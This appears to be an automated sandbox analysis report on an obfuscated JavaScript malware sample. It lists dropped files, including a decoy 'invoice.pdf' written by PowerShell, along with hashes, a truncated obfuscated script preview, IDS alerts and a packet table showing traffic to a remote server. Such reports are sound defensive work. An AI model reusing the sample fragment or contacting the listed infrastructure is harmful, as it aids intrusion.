Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f65760a4-6ad5-487c-b534-bbf80ffc9bfc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/2wYIGNP4mOWL07oYGZLdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:OwZG6bWLxYGZL3mlind9i4ufFXpAXkru
MD5:	82D29E9F9C39E85865E0A4E5E2AD92BA
SHA1:	A1CC733BC09B7EFAF49015E5BA196B34C2D25868
SHA-256:	AF7AD92777A4FA008A371685FE6D25286CE3A6FFAE9FFF0EDAED338840844235
SHA-512:	ADCF0D5251DE0369C9371E7128FC21978AE45D21FBDCC2E09402A6FF15D4AE61A90594ABAFA48C9884873278C3B52896114D3590AEEF5A75EEA3B452978C70FF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16547), with CRLF line terminators
Entropy (8bit):	4.905960328025453
TrID:
File name:	11057252552282120022.js
File size:	19'987 bytes
MD5:	f75a8dfe81c96af17b34ba9f7d1b3578
SHA1:	74e528d17d5975a0f1b234199e22506122268aaf
SHA256:	1b0761b5af2f194513e06c200993b9160eb24b8ae1678b1684a02b1a878967e7
SHA512:	905ecf64e7f8f9594d1f6c010c06d6c9227d648911783ab6045eb8e8bb077202631392aaed85a2084df9ea8e3ffb7f7674a3ab62cf6b687d459c5d64443ea004
SSDEEP:	192:DiGnz0R8BjeHnzIccFERI/jN5zqr3tlPzwAWUuhFso0Lv6TZKqtN+VUvBBIxo2BM:vs3tl7uHQAFHil5/nKTunx4nr
TLSH:	41922088D800CF578EDC62716EAE2D7EA2E00248D1F9149CDD03AC51C676B399BD67F6
File Content Preview:	function cghgcyg(){eylemri=[1031,3079,5127,4103,2055,3072];var mufhc=this[nsmck+kydyo+uyszbje+tvamcppsv+hrkfmqm+ybxoa+uhlzjmfdx+ztvyhre](this[qounm+uaflrz+wajia+uyszbje+oiumyzm+nsmck+ztvyhre][bzbyjg+uyszbje+hrkfmqm+kydyo+ztvyhre+hrkfmqm+dclun+khpdx+mjhjrr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:29:32.375537+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-10T22:29:35.083238+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:29:31.537257910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:31.542119026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:31.542215109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:31.574552059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:31.579355001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375401974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375458002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375469923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375536919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.375565052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375579119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375591040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375612974 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.375649929 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.375962019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375974894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375986099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.375999928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.376014948 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.376045942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.380386114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.426987886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.439346075 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.439363003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.439376116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.439481020 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.496207952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496371984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496385098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496444941 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.496514082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496557951 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.496699095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496711969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496757030 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.496869087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496881008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.496936083 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.497291088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.497303963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.497315884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.497335911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.497656107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.497668982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.497698069 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.498169899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.498183012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.498210907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.498339891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.498382092 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.498522997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.498536110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.498574972 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.499066114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.499078035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.499089956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.499113083 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.529999971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.530174017 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.559926033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.559941053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.559953928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.560017109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.560219049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.560261011 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.586535931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.586550951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.586621046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.616950989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617033005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617046118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617109060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.617192984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617244959 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.617362976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617374897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617413044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.617542982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617698908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617710114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.617738008 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.618029118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618041039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618079901 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.618212938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618227005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618253946 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.618391991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618403912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618418932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618433952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.618463993 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.618706942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618866920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618880033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.618906975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.619195938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.619208097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.619219065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.619232893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.619247913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.619281054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.619836092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.619849920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.619878054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.620007992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.620043039 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.620202065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.620213985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.620225906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.620239019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.620258093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.620289087 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.620826960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.620980978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.620994091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.621041059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.621130943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.621143103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.621155977 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.621167898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.621176958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.621202946 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.621728897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.621773958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.649992943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.650132895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.650144100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.650185108 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.680392027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.680458069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.680470943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.680471897 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.680507898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.680649042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.680660963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.680711985 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.680845976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.680973053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.680984974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.681015015 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.681201935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.681250095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.718851089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.718949080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.718962908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.719002962 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.737889051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.737905979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.737919092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738034964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.738195896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738209009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738221884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738234043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738246918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.738269091 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.738353014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738364935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738379002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738390923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738404036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738416910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738423109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.738430023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738451958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.738473892 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.738482952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738523006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.738543034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738558054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738570929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.738600016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.739064932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.739078045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.739090919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.739104986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.739108086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.739120960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.739130020 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.739137888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.739180088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.740926981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.740942001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.740977049 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.741075039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.741087914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.741100073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.741112947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.741122007 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.741125107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.741151094 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.741174936 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.742188931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742201090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742213011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742264032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.742494106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742508888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742542982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.742669106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742685080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742718935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.742845058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742858887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.742896080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743032932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743046045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743062019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743072987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743076086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743103027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743108988 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743117094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743129015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743144035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743155956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743159056 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743166924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743180990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743185997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743210077 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743232965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743360996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743374109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743386984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743410110 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743798018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743810892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743822098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743834972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.743846893 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.743881941 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.744102955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.744148970 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.744287014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.744298935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.744334936 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.744466066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.751435995 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.757844925 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.772052050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772068024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.772082090 CET	80	49705	193.143.1.205	192.168.2.5
